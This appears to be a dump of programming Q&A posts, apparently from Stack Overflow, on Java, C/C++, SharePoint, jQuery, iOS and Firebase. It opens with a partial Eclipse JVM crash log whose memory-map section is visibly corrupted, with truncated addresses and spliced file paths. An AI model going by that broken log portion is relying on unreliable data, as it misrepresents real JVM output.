V [libjvm.so+0x3a4c9a] V [libjvm.so+0x53d422] V [libjvm.so+0x53cc27] V [libjvm.so+0x3ccef7] j org.eclipse.core.runtime.adaptor.EclipseStarter.run([Ljava/lang/String;Ljava/lang/Runnable;)Ljava/lang/Object;+546 v ~StubRoutines::call_stub V [libjvm.so+0x3d5e8d] V [libjvm.so+0x5d9129] V [libjvm.so+0x3d5cc5] V [libjvm.so+0x62ecc1] V [libjvm.so+0x632a32] V [libjvm.so+0x45fefb] C [libjava.so+0x19715] Java_sun_reflect_NativeMethodAccessorImpl_invoke0+0x15 j sun.reflect.NativeMethodAccessorImpl.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;+87 j sun.reflect.DelegatingMethodAccessorImpl.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;+6 j java.lang.reflect.Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;+161 j org.eclipse.equinox.launcher.Main.invokeFramework([Ljava/lang/String;[Ljava/net/URL;)V+211 j org.eclipse.equinox.launcher.Main.basicRun([Ljava/lang/String;)V+126 j org.eclipse.equinox.launcher.Main.run([Ljava/lang/String;)I+4 j org.eclipse.equinox.launcher.Main.main([Ljava/lang/String;)V+10 v ~StubRoutines::call_stub V [libjvm.so+0x3d5e8d] V [libjvm.so+0x5d9129] V [libjvm.so+0x3d5cc5] V [libjvm.so+0x40f0c1] V [libjvm.so+0x3fd540] Java frames: (J=compiled Java code, j=interpreted, Vv=VM code) j java.lang.NoClassDefFoundError.&lt;init&gt;(Ljava/lang/String;)V+2 v ~StubRoutines::call_stub j org.eclipse.core.runtime.adaptor.EclipseStarter.run([Ljava/lang/String;Ljava/lang/Runnable;)Ljava/lang/Object;+546 v ~StubRoutines::call_stub j sun.reflect.NativeMethodAccessorImpl.invoke0(Ljava/lang/reflect/Method;Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;+0 j sun.reflect.NativeMethodAccessorImpl.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;+87 j sun.reflect.DelegatingMethodAccessorImpl.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;+6 j java.lang.reflect.Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;+161 j org.eclipse.equinox.launcher.Main.invokeFramework([Ljava/lang/String;[Ljava/net/URL;)V+211 j org.eclipse.equinox.launcher.Main.basicRun([Ljava/lang/String;)V+126 j org.eclipse.equinox.launcher.Main.run([Ljava/lang/String;)I+4 j org.eclipse.equinox.launcher.Main.main([Ljava/lang/String;)V+10 v ~StubRoutines::call_stub --------------- P R O C E S S --------------- Java Threads: ( =&gt; current thread ) 0x00002aabdc072000 JavaThread "Worker-16" [_thread_blocked, id=23010, stack(0x0000000041771000,0x0000000041872000)] 0x00002aabdc003800 JavaThread "Worker-15" [_thread_blocked, id=22952, stack(0x00000000418fc000,0x00000000419fd000)] 0x00002aabd0526800 JavaThread "Worker-11" [_thread_blocked, id=22613, stack(0x0000000042891000,0x0000000042992000)] 0x000000005126d000 JavaThread "org.eclipse.jdt.internal.ui.text.JavaReconciler" daemon [_thread_blocked, id=21868, stack(0x0000000041d70000,0x0000000041e71000)] Other Threads: 0x000000004fb24000 VMThread [stack: 0x0000000040c5a000,0x0000000040d5b000] [id=21801] 0x00002aabd0009800 WatcherThread [stack: 0x000000004156f000,0x0000000041670000] [id=21808] VM state:not at safepoint (normal execution) VM Mutex/Monitor currently owned by a thread: None Heap PSYoungGen total 1539136K, used 20477K [0x00002aab6f360000, 0x00002aabcd2b0000, 0x00002aabcd2b0000) eden space 1538880K, 1% used [0x00002aab6f360000,0x00002aab7075f4f0,0x00002aabcd230000) from space 256K, 0% used [0x00002aabcd230000,0x00002aabcd230000,0x00002aabcd270000) to space 256K, 0% used [0x00002aabcd270000,0x00002aabcd270000,0x00002aabcd2b0000) PSOldGen total 3078848K, used 50204K [0x00002aaab34b0000, 0x00002aab6f360000, 0x00002aab6f360000) object space 3078848K, 1% used [0x00002aaab34b0000,0x00002aaab65b7238,0x00002aab6f360000) PSPermGen total 86016K, used 86015K [0x00002aaaae0b0000, 0x00002aaab34b0000, 0x00002aaab34b0000) object space 86016K, 99% used [0x00002aaaae0b0000,0x00002aaab34aff40,0x00002aaab34b0000) Dynamic libraries: 40000000-40009000 r-xp 00000000 fd:00 48434050 /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/bin/java 40108000-4010b000 rwxp 00008000 fd:00 48434050 /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/bin/java 4010b000-4010e000 ---p 4010b000 00:00 0 4010e000-4020c000 rwxp 4010e000 00:00 0 40243000-40246000 ---p 40243000 00:00 0 40246000-40344000 rwxp 40246000 00:00 0 40344000-40347000 ---p 40344000 00:00 0 40347000-40445000 rwxp 40347000 00:00 0 40445000-40448000 ---p 40445000 00:00 0 40448000-40546000 rwxp 40448000 00:00 0 40764000-40767000 ---p 40764000 00:00 0 40767000-40865000 rwxp 40767000 00:00 0 40865000-40868000 ---p 40865000 00:00 0 40868000-40966000 rwxp 40868000 00:00 0 40966000-40969000 ---p 40966000 00:00 0 40969000-40a67000 rwxp 40969000 00:00 0 40aa1000-40aa4000 ---p 40aa1000 00:00 0 40aa4000-40ba2000 rwxp 40aa4000 00:00 0 40c5a000-40c5b000 ---p 40c5a000 00:00 0 40c5b000-40d5b000 rwxp 40c5b000 00:00 0 40d5b000-40d5e000 ---p 40d5b000 00:00 0 40d5e000-40e5c000 rwxp 40d5e000 00:00 0 40eb1000-40eb4000 ---p 40eb1000 00:00 0 40eb4000-40fb2000 rwxp 40eb4000 00:00 0 40fb2000-40fb5000 ---p 40fb2000 00:00 0 40fb5000-410b3000 rwxp 40fb5000 00:00 0 4116b000-4116e000 ---p 4116b000 00:00 0 4116e00 417710 42690000-42790000 rwxp 42690000 00:00 0 42790 [heap] 3f2e400000-3f2e41c000 r-xp 00000000 fd:00 32571713 /lib64/ld-2.5.so 3f2e61b000-3f2e61c000 r-xp 0001b000 fd:00 32571713 /lib64/ld-2.5.so 3f2e61c000-3f2e61d000 rwxp 0001c000 fd:00 32571713 /lib64/ld-2.5.so 3f2e800000-3f2e807000 r-xp 00000000 fd:00 48434033 /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/amd64/jli/libjli.so 3f2e807000-3f2e908000 ---p 00007000 fd:00 48434033 /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/amd64/jli/libjli.so 3f2e908000-3f2e90a000 rwxp 00008000 fd:00 48434033 /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/amd64/jli/libjli.so 3f2f400000-3f2f54e000 r-xp 00000000 fd:00 32571714 /lib64/libc-2.5.so /lib64/libm-2.5.so 3f2fc00000-3f2fc02000 r-xp 00000000 fd:00 32571716 /lib64/libdl-2.5.so 3f2fc02000-3f2fe02000 ---p 00002000 fd:00 32571716 /lib64/libdl-2.5.so 3f2fe020 /usr/lib64/libz.so.1.2.3 3f30800000-3f30802000 r-xp 00000000 fd:00 52658194 /usr/lib64/libXau.so.6.0.0 3f30802000-3f30a01000 ---p 00002000 fd:00 52658194 /usr/lib64/libXau.so.6.0.0 3f30a/libX11.so.6.2.0 3f31400000-3f31410000 r-xp 00000000 fd:00 52658198 /usr/lib64/libXext.so.6.4.0 3f31410000-3f31610000 ---p 00010000 fd:00 52658198 /usr/lib64/libXext.so.6.4.0 3f31610000-3f31611000 rwxp 00010000 fd:00 52658198 /usr/lib64/libXext.so.6.4.0 3f31800000-3f3187f000 r-xp 00000000 fd:00 52658203 /usr/lib64/libfreetype.so.6.3.10 3f3187f000-3f31a7f000 ---p 0007f000 fd:00 52658203 /usr/lib64/libfreetype.so.6.3.10 3f31a7f000-3f31a84000 rwxp 0007f000 fd:00 52658203 /usr/lib64/libfreetype.so.6.3.10 3f31c00000-3f31c20000 r-xp 00000000 fd:00 32571717 /lib64/libexpat.so.0.5.0 3f31c20000-3f31e1f000 ---p 00020000 fd:00 32571717 /lib64/libexpat.so.0.5.0 3f31e1f000-3f31e22000 rwxp 0001f000 fd:00 32571717 /lib64/libexpat.so.0.5.0 3f32000000-3f32029000 r-xp 00000000 fd:00 52658204 /usr/lib64/libfontconfig.so.1.1.0 3f32029000-3f32229000 ---p 00029000 fd:00 52658204 /usr/lib64/libfontconfig.so.1.1.0 3f322290 3f32809000-3f32a08000 ---p 00009000 fd:00 52658197 /usr/lib64/libXrender.so.1.3.0 3f32a08000-3f32a09000 rwxp 00008000 fd:00 52658197 /usr/lib64/libXrender.so.1.3.0 3f32c00000-3f32c02000 r-xp 00000000 fd:00 52658202 /usr/lib64/libXinerama.so.1.0.0 3f32c02000-3f32e01000 ---p 00002000 fd:00 52658202 /usr/lib64/libXinerama.so.1.0.0 3f32e01000-3f32e02000 rwxp 00001000 fd:00 52658202 /usr/lib64/libXinerama.so.1.0.0 3f330 3f33602000-3f33603000 rwxp 00002000 fd:00 52658199 /usr/lib64/libXrandr.so.2.0.0 3f33800000-3f33805000 r-xp 00000000 fd:00 52658200 /usr/lib64/libXfixes.so.3.1.0 3f33805000-3f33a04000 ---p 00005000 fd:00 52658200 /usr/lib64/libXfixes.so.3.1.0 3f33a04000-3f33a05000 rwxp 00004000 fd:00 52658200 /usr/lib64/libXfixes.so.3.1.0 3f33c00000-3f33c07000 r-xp 00000000 fd:00 32571722 /lib64/librt-2.5.so 3f33c07000-3f33e07000 ---p 00007000 fd:00 32571722 /lib64/librt-2.5.so 3f33e07000-3f33e08000 r-xp 00007000 fd:00 32571722 /lib64/librt-2.5.so 3f33e08000-3f33e09000 rwxp 00008000 fd:00 32571722 /lib64/librt-2.5.so 3f34c00000-3f34c9d000 r-xp 00000000 fd:00 32571723 /lib64/libglib-2.0.so.0.1200.3 3f34c9d000-3f34e9c000 ---p 0009d000 fd:00 32571723 /lib64/libglib-2.0.so.0.1200.3 3f34e9c000-3f34e9e000 rwxp 0009c000 fd:00 32571723 /lib64/libglib-2.0.so.0.1200.3 3f35400000-3f3543e000 r-xp 3f35c03000-3f35e02000 ---p 00003000 fd:00 32571725 /lib64/libgmodule-2.0.so.0.1200.3 3f35e02000-3f35e03000 rwxp 00002000 fd:00 32571725 /lib64/libgmodule-2.0.so.0.1200.3 3f36000000-3f36067000 r-xp 00000000 fd:00 47268159 /usr/lib64 /usr/lib64/libatk-1.0.so.0.1212.0 3f36800000-3f3682d000 r-xp 00000000 fd:00 47264771 /usr/lib64/libpangoft2-1.0.so.0.1400.9 3f3682d000-3f36a2d000 ---p 0002d000 fd:00 47264771 /usr/lib64/libpangoft2-1.0.so.0.1400.9 3f36a2d000-3f36a2e000 rwxp 0002d000 fd:00 47264771 /usr/lib64/libpangoft2-1.0.so.0.1400.9 3f37017000-3f37216000 ---p 00017000 fd:00 47268909 /usr/lib64/libgdk_pixbuf-2.0.so.0.1000.4 3f37216000-3f37217000 rwxp 00016000 fd:00 47268909 /usr/lib64/libgdk_pixbuf-2.0.so.0.1000.4 3f37400000-3f37774000 r-xp 00000000 fd:00 47258024 /usr/lib64/libgtk-x11-2.0.so.0.1000.4 3f37774000-3f37973000 ---p 00374000 fd:00 47258024 /usr/lib64/libgtk-x11-2.0.so.0.1000.4 3f37973000-3f3797d000 rwxp 00373000 fd:00 47258024 /usr/lib64/libgtk-x11-2.0.so.0.1000 3f3808e000-3f38093000 rwxp 0008e000 fd:00 47261608 /usr/lib64/libgdk-x11-2.0.so.0.1000.4 3f38200000-3f38208000 r-xp 00000000 fd:00 47268161 /usr/lib64/libXi.so.6.0.0 3f38208000-3f38407000 ---p 00008000 fd:00 47268161 /usr/lib64/libXi.so.6.0.0 3f38407000-3f38408000 rwxp 00007000 fd:00 47268161 /usr/lib64/libXi.so.6.0.0 3f38a00000-3f38a15000 r-xp 00000000 fd:00 32571734 /lib64/libnsl-2.5.so 3f38a15000-3f38c14000 ---p 00015000 fd:00 32571734 /lib64/libnsl-2.5.so 3f38c14000-3f38c15000 r-xp 00014000 fd:00 32571734 /lib64/libnsl-2.5.so 3f38c15000-3f38c16000 rwxp 00015000 fd:00 32571734 /lib64/libnsl-2.5.so 3f38c16000-3f38c18000 rwxp 3f38c16000 00:00 0 3f3be00000-3f3be04000 r-xp 00000000 fd:00 32571736 /lib64/libgthrea/libXtst.so.6.1.0 3f41c05000-3f41c06000 rwxp 00005000 fd:00 47266927 /usr/lib64/libXtst.so.6.1.0 2aaaaaaab000-2aaaaaaac000 r-xs 0000b000 fd:00 33883834 /home/bob/Desktop/Eclipse 64/eclipse/plugins/org.eclipse.equinox.launcher_1.2.0.v20110502.jar 2 2aaaaaad6000-2aaaaaad8000 r-xs 00 2aaaaabea000-2aaaaac13000 r-xp 00000000 fd:00 48434066 /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/amd64/libjava.so 2aaaaac13000-2aaaaad12000 ---p 00029000 fd:00 48434066 /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/amd64/libjava.so 2aaaaad12000-2aaaaad19000 rwxp 00028000 fd:00 48434066 /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/amd64/libjava.so 2aaaaad19000-2aaaaad1a000 r-xp 2aaaaad19000 00:00 0 2aaaaad1a000-2aaaaad1b000 rwxp 2aaaaad1a000 00:00 0 2aaaaad1b000-2aaaaad22000 r-xp 00000000 fd:00 48434091 /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/amd64/native_threads/libhpi.so 2aaaaad22000-2aaaaae23000 ---p 00007000 fd:00 48434091 /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/amd64/native_threads/libhpi.so 2aaaaae23000-2aaaaae25000 rwxp 00008000 fd:00 48434091 /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/amd64/native_threads/libhpi.so 2aaaaae25000-2aaaaae26000 rwxp 2aaaaae25000 00:00 0 2aaaaae26000-2aaaaaed2000 r-xs 00000 2aabcd8b9000-2aabcdba9000 rwxp 2aabcd8b9000 00:00 0 2aabcdba9000-2aabce18a000 rwonv/ISO8859-1.so 2aabcefa0000-2aabcefa2000 rwxp 00001000 fd:00 47383053 /usr/lib64/gconv/ISO8859-1.so 2aabcefa2000-2aabcefb3000 r-xp 00000000 fd:00 48169239 /usr/lib64/gtk-2.0/2.10.0/engines/libclearlooks.so 2aabcefb3000-2aabcf1b3000 ---p 00011000 fd:00 48169239 /usr/lib64/gtk-2.0/2.10.0/engines/libclearlooks.so 2aabcf1b3000-2aabcf1b4000 rwxp 00011000 fd:00 48169239 /usr/lib64/gtk-2.0/2.10.0/engines/libclearlooks.so 2aabcf1b5000-2aabcf1b8000 r-xp 00000000 fd:00 48169144 /usr/lib64/gtk-2.0/2.10.0/loaders/libpixbufloader-bmp.so 2aabcf1b8000-2aabcf3b7000 ---p 00003000 fd:00 48169144 /usr/lib64/gtk-2.0/2.10.0/loaders/libpixbufloader-bmp.so 2aabcf3b7000-2aabcf3b8000 rwxp 00002000 fd:00 48169144 /usr/lib64/gtk-2.0/2.10.0/loaders/libpixbufloader-bmp.so 2aabcf3b8000-2aabcf41b000 rwxp 2aabcf3b8000 00:00 0 2aabcf41b000-2aa /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/amd64/libnio.so 2aabcf64b000-2aabcf64d000 rwxp 00006000 fd:00 48434079 /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib 2aabd33f6000-2aabd4000000 ---p 2aabd33f6000 00:00 0 2aabd4000000-2aabd75db000 r-xp 00000000 fd:00 47254619 /usr/lib/locale/locale-archive 2aabd75db000-2aabd75df000 r-xp 00000000 fd:00 48169149 /usr/lib64/gtk-2.0/2.10.0/loaders/libpixbufloader-png.so 2aabd75df000-2aabd77de000 ---p 00004000 fd:00 48169149 /usr/lib64/gtk-2.0/2.10.0/loaders/libpixbufloader-png.so 2aabd77de000-2aabd77df000 rwxp 00003000 fd:00 48169149 /usr/lib64/gtk-2.0/2.10.0/loaders/libpixbufloader-png.so 2aabd77df000-2aabd77e1000 r-xp 00000000 fd:00 48104477 /usr/lib64/pango/1.5.0/modules/pango-basic-fc.so 2aabd77e1000-2aabd79e1000 ---p 00002000 fd:00 48104477 /usr/lib64/pango/1.5.0/modules/pango-basic-fc.so 2aabd79e1000-2aabd79e2000 rwxp 00002000 fd:00 48104477 /usr/lib64/pango/1.5.0/modules/pango-basic-fc.so 2aabd79e2000-2aabd79ed000 r-xp gins/Desktop/Eclipse 6op/Eclipse 64/eclipse/plugins/org.eclipse.wst.jsdt.ui_1.1.101.v201108151912.j 2aabd7fbe000-2aabd8028000 r-xp 00000000 fd:00 48333110 /usr/share/fonts/dejavu-lgc/DejaVuLGCSans-BoldOblique.ttf 2aabd8028000-2aabd8062000 r-xp 00000000 fd:00 48333121 /usr/share/fonts/dejavu-lgc/DejaVuLGCSansMono.ttf 2aabd8062000-2aabd809b000 r-xp 00000000 fd:00 48333118 /usr/share/fonts/dejavu-lgc/DejaVuLGCSansMono-Bold.ttf 2aabd809b000-2aabd80c9000 r-xp 00000000 fd:00 48333120 /usr/share/fonts/dejavu-lgc/DejaVuLGCSansMono-Oblique.ttf 2aabd80c9000-2aabd80f5000 r-xp 00000000 fd:00 48333119 /usr/share/fonts/dejavu-lgc/DejaVuLGCSansMono-BoldOblique.ttf 2aabd80f5000-2aabd8116000 r-xs 00175000s/Bluecurve/icon-theme.cache 2aabd8ec8000-2aabd94b9000 r-xp 00000000 fd:00 48373836 /usr/share/icons/gnome/icon-theme.cache 2aabd94b9000-2aabdaed5000 r-xp 00000000 fd:00 49027191 /usr/share/icons /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/ext/sunjce_provider.jar 2aabdb589000-2aabdb5d2000 r-xs 003c3000 fd:00 33883908 /home/bob/Desktop/Eclipse 64/eclipse/plugins/org.eclipse.pde.ui_3.6.100.v20110603.jar 2aabdc000000-2aabdd638000 rwxp 2aabdc000000 00:00 0 2aabdd638000-2aabe0000000 ---p 2aabdd638000 00:00 0 2b4e7ca8a000-2b4e7ca8b000 rwxp 2b4e7ca8a000 00:00 0 2b4e7caba000-2b4e7cabd000 rwxp 2b4e7caba000 00:00 0 2b4e7cabd000-2b4e7d271000 r-xp 00000000 fd:00 48434095 /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/amd64/server/libjvm.so 2b4e7d271000-2b4e7d371000 ---p 007b4000 fd:00 48434095 /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/amd64/server/libjvm.so 2b4e7d371000-2b4e7d4fb000 rwxp 007b4000 fd:00 48434095 /usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/amd64/server/libjvm.so 2b4e7d4fb000-2b4e7d534000 rwxp 2b4e7d4fb000 00:00 0 7fff17af8000-7fff17b0d000 rwxp 7ffffffea000 00:00 0 [stack] ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vdso] VM Arguments: java_command: /home/bob/Desktop/Eclipse 64/eclipse/plugins/org.eclipse.equinox.launcher_1.2.0.v20110502.jar -os linux -ws gtk -arch x86_64 -showsplash -launcher /home/bob/Desktop/Eclipse 64/eclipse/eclipse64 -name Eclipse64 --launcher.library /home/bob/Desktop/Eclipse 64/eclipse/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505/eclipse_1407.so -startup /home/bob/Desktop/Eclipse 64/eclipse/plugins/org.eclipse.equinox.launcher_1.2.0.v20110502.jar --launcher.overrideVmargs -exitdata e7000c -vm /usr/bin/java -vmargs -jar /home/bob/Desktop/Eclipse 64/eclipse/plugins/org.eclipse.equinox.launcher_1.2.0.v20110502.jar Launcher Type: SUN_STANDARD Environment Variables: PATH=/usr/local/apache-maven/apache-maven-3.0.3/bin:/usr/local/apache-maven/apache-maven-3.0.3/bin:/usr/lib64/qt-3.3/bin:/usr/kerberos/bin:/usr/local/bin:/usr/bin:/bin:/usr/bin:/usr/games:/home/bob/bin:JAVA_HOME=/usr/java/jdk1.6.0_30/bin:NATIVE_LIBRARY_PATH=/usr/lib64/: LD_LIBRARY_PATH=/usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/amd64/server:/usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/lib/amd64:/usr/lib/jvm/java-1.6.0-sun-1.6.0.18.x86_64/jre/../lib/amd64 SHELL=/bin/bash DISPLAY=:0.0 Signal Handlers: SIGSEGV: [libjvm.so+0x70f1a0], sa_mask[0]=0x7ffbfeff, sa_flags=0x10000004 SIGBUS: [libjvm.so+0x70f1a0], sa_mask[0]=0x7ffbfeff, sa_flags=0x10000004 SIGFPE: [libjvm.so+0x5d7f70], sa_mask[0]=0x7ffbfeff, sa_flags=0x10000004 SIGPIPE: [libjvm.so+0x5d7f70], sa_mask[0]=0x7ffbfeff, sa_flags=0x10000004 SIGXFSZ: [libjvm.so+0x5d7f70], sa_mask[0]=0x7ffbfeff, sa_flags=0x10000004 SIGILL: [libjvm.so+0x5d7f70], sa_mask[0]=0x7ffbfeff, sa_flags=0x10000004 SIGUSR1: SIG_DFL, sa_mask[0]=0x00000000, sa_flags=0x00000000 SIGUSR2: [libjvm.so+0x5da790], sa_mask[0]=0x00000000, sa_flags=0x10000004 SIGHUP: [libjvm.so+0x5da4e0], sa_mask[0]=0x7ffbfeff, sa_flags=0x10000004 SIGINT: [libjvm.so+0x5da4e0], sa_mask[0]=0x7ffbfeff, sa_flags=0x10000004 SIGTERM: [libjvm.so+0x5da4e0], sa_mask[0]=0x7ffbfeff, sa_flags=0x10000004 SIGQUIT: [libjvm.so+0x5da4e0], sa_mask[0]=0x7ffbfeff, sa_flags=0x10000004 --------------- S Y S T E M --------------- OS:Red Hat Enterprise Linux Client release 5.5 (Tikanga) uname:Linux 2.6.18-194.el5 #1 SMP Tue Mar 16 21:52:39 EDT 2010 x86_64 libc:glibc 2.5 NPTL 2.5 rlimit: STACK 10240k, CORE 0k, NPROC 155648, NOFILE 1024, AS infinity load average:1.00 1.01 0.94 CPU:total 8 (8 cores per cpu, 2 threads per core) family 6 model 26 stepping 5, cmov, cx8, fxsr, mmx, sse, sse2, sse3, ssse3, sse4.1, sse4.2, popcnt, ht Memory: 4k page, physical 18471776k(13695872k free), swap 2097144k(2097144k free) vm_info: Java HotSpot(TM) 64-Bit Server VM (16.0-b13) for linux-amd64 JRE (1.6.0_18-b07), built on Dec 17 2009 13:42:22 by "java_re" with gcc 3.2.2 (SuSE Linux) time: Thu Jan 26 13:50:25 2012 elapsed time: 3266 seconds </code></pre>
10207317	0	Set the Read-only property of a File <p>I am trying to set the read-only property of a File, but it doesn't seem to work. Could someone please help me to understand why.</p> <p>Here is my code...</p> <pre><code>public class Main { public static void main(String[] args) { File f = new File("c:/ulala.txt"); if (!f.setReadOnly()) { System.out.println("Grrr! Can't set file read-only."); return; } } } </code></pre>
12611710	0	 <pre><code>String ss = "i love you"; String sss=""; String temp=""; String[] ssArr = ss.split("\\s"); for(int i=0; i&lt;ssArr.length; i++) { if(i==0) { temp = ssArr[i]; } else { sss+=ssArr[i]+" "; } if(i==ssArr.length-1) { sss+=temp; } } System.out.println(sss); </code></pre> <p>output: love you i</p>
37208839	0	 <p>This sort of initialization is not allowed in C, but it was allowed in C++98 . </p> <p>Your compiler predates 1998 by several years so it is not surprising that it does not allow some things that did become part of the C++ Standard. </p> <p>You'll have to write <code>{'a', 1}</code> instead of <code>a[0]</code> etc. , or use a macro. The macro solution might look like:</p> <pre><code>#define A0 {'a', 1} #define A1 {'c', 2} #define A2 {'b', 3} first a[3]={A0, A1, A2}; second c={{A0, A1}, 12 }; </code></pre> <p>Alternatively you could initialize <code>a</code> and then set up <code>c</code> at runtime.</p>
29401705	0	 <p>You can do it by this XSLT function ddwrt:IfHasRights(XX) where XX is permission mask. Like this:</p> <pre><code>&lt;xsl:if test="ddwrt:IfHasRights(16)"&gt;&lt;tr&gt; &lt;td width="190px" valign="top" class="ms-formlabel"&gt;&lt;H3 class="ms-standardheader"&gt;&lt;nobr&gt;Entry Status&lt;/nobr&gt;&lt;/H3&gt;&lt;/td&gt; &lt;td width="400px" valign="top" class="ms-formbody"&gt;&lt;SharePoint:FormField runat="server" id="ff8{$Pos}" ControlMode="New" FieldName="Entry_x0020_Status" __designer:bind="{ddwrt:DataBind('i',concat('ff8',$Pos),'Value','ValueChanged','ID',ddwrt:EscapeDelims(string(@ID)),'@Entry_x0020_Status')}" /&gt;&lt;SharePoint:FieldDescription runat="server" id="ff8description{$Pos}" FieldName="Entry_x0020_Status" ControlMode="New" /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/xsl:if&gt; </code></pre> <p>More detailed description can you find e.g. <a href="http://www.dreamsharepoint.com/sharepoint-2010-ifhasrightspermissionmask/" rel="nofollow">here</a>. But be aware that it works fine for SP2010, SP2013 but not in SP Online.</p>
33620015	0	 <p>Replace your jquery code with code below as you are creating the anchor tags with ajax and for the code those does not exists so just load the <code>anchor click event</code> inside <code>success function of your ajax call</code> and it will work :</p> <pre><code> $(function() { $.ajax({ url: "http://linktoapi&amp;callback=myMethod", timeout: 2000, jsonpCallback: "myMethod", jsonp: false, dataType: "jsonp", success: function(data) { var newContent = ''; for (var i = 0; i &lt; data.listing.length; i++) { newContent += '&lt;p class="property-details"&gt;' + '&lt;a href="' + data.listing[i].listing_id + '"&gt;' + data.listing[i].displayable_address + '&lt;/a&gt;&lt;/p&gt;'; } $('#content').html(newContent).hide().fadeIn(400); $('.property-details a').on('click', function(e) { e.preventDefault(); $('#content').html("test").hide().fadeIn(400); }); }, error: function() { $content.html('&lt;div class="container"&gt;Please try again soon.&lt;/div&gt;'); } }); }); </code></pre>
2816378	0	 <p>This has been effectively resolved by using MSDeploy.</p>
4123614	0	 <p>It means you tried treating an integer as an array. For example:</p> <pre><code>a = 1337 b = [1,3,3,7] print b[0] # prints 1 print a[0] # raises your exception </code></pre>
22602656	0	 <p>I think you have started multiple thread on the same object</p> <p>you should use synchronized block to run thread-safe code,</p> <pre><code>synchronized(this){ long currentTime = System.nanoTime(); long targetFPS = 1000; long delta; while(GameConstants.running) { delta = System.nanoTime() - currentTime; if(delta/1000000000 &gt;= 1) { System.out.println(delta); currentTime = System.nanoTime(); } } } </code></pre> <p><strong>After Updating Source Code</strong></p> <p>Yeah! here, you are calling run() method and start both...</p> <pre><code>game.start(); game.run(); </code></pre> <p>remove calling run method explicitly, you will get desired result :)</p>
39560247	0	 <p>From the C++ standard:</p> <blockquote> <p><strong>3.8 Object lifetime</strong> </p> <p><sup>4</sup> A program may end the lifetime of any object by reusing the storage which the object occupies or by explicitly calling the destructor for an object of a class type with a non-trivial destructor. For an object of a class type with a non-trivial destructor, the program is not required to call the destructor explicitly before the storage which the object occupies is reused or released; however, if there is no explicit call to the destructor or if a delete-expression (5.3.5) is not used to release the storage, the destructor shall not be implicitly called and any program that depends on the side effects produced by the destructor has undefined behavior.</p> </blockquote> <p>It depends on whether the <code>std::vector</code> destructor is non-trivial and has side effects on which the program depends. Because it is a library class, it would be advisable to call the destructor to be safe. Else you would have to check the <code>std::vector</code> implementations now and in the future for all standard libraries you want your code to be compatible with.<br> If the vector class was your own, you would be in control of the destructor implementation and you could omit calling it if it was either trivial, or had no side-effects on which the program depends, as described above.<br> <sup>(But personally I would also call it in this case.)</sup></p>
31088785	0	 <p>I'm just doing this off the cuff, but could have another class that holds that variable statically e.g.</p> <pre><code>public class StaticContainer { public static int incrementor { get; set; } } </code></pre> <p>then in your student class increment the variable in the constructor</p> <pre><code>public class Student { public Student() { StaticContainer.incrementor++; } } </code></pre>
12924387	0	 <h2><a href="http://developer.apple.com/library/ios/#technotes/tn2265/_index.html" rel="nofollow">Apple's recommended way to reset the notification</a></h2> <p>During development only, of course.</p> <blockquote> <p>If you want to simulate a first-time run of your app, you can leave the app uninstalled for a day. You can achieve the latter without actually waiting a day by following these steps:</p> <p>Delete your app from the device. Turn the device off completely and turn it back on. Go to Settings > General > Date &amp; Time and set the date ahead a day or more. Turn the device off completely again and turn it back on.</p> </blockquote> <p>Don't forget to turn it off completely and back on.</p>
40251223	0	Downloading Firebase Storage Files Device Issue <p>I am trying to download a word document from Firebase storage. On the simulator everything is working as expected. Yet on my device, I get the following error:</p> <blockquote> <p>Optional(Error Domain=FIRStorageErrorDomain Code=-13000 "An unknown error occurred, please check the server response." UserInfo={object=Bulletin/26 October 2016.docx, bucket=southam-college-app.appspot.com, NSLocalizedDescription=An unknown error occurred, please check the server response., ResponseErrorDomain=NSCocoaErrorDomain, NSFilePath=/tmp/bulletin, NSUnderlyingError=0x1702590b0 {Error Domain=NSPOSIXErrorDomain Code=1 "Operation not permitted"}, ResponseErrorCode=513})</p> </blockquote> <p>Other posts I have been looking at do not seem to give me a working answer, and all I know is that there is an issue with file permissions, even though I am using the recommended directory (tmp).</p> <p>This is the code for downloading the file</p> <pre><code> let Ref_Bulletin = Bulletin.referenceForURL("gs://southam-college-app.appspot.com/Bulletin/\(Today.stringFromDate(NSDate())).docx") // Create local filesystem URL let localURL: NSURL! = NSURL(string: "file:///tmp/bulletin/today.docx") // Download to the local filesystem let downloadTask = Ref_Bulletin.writeToFile(localURL) { (URL, error) -&gt; Void in if (error != nil) { print(error.debugDescription) // Uh-oh, an error occurred! } else { print("Working As Expected") self.Web_View.loadRequest(NSURLRequest(URL: localURL)) } </code></pre> <p>So what is causing this problem and how do I fix 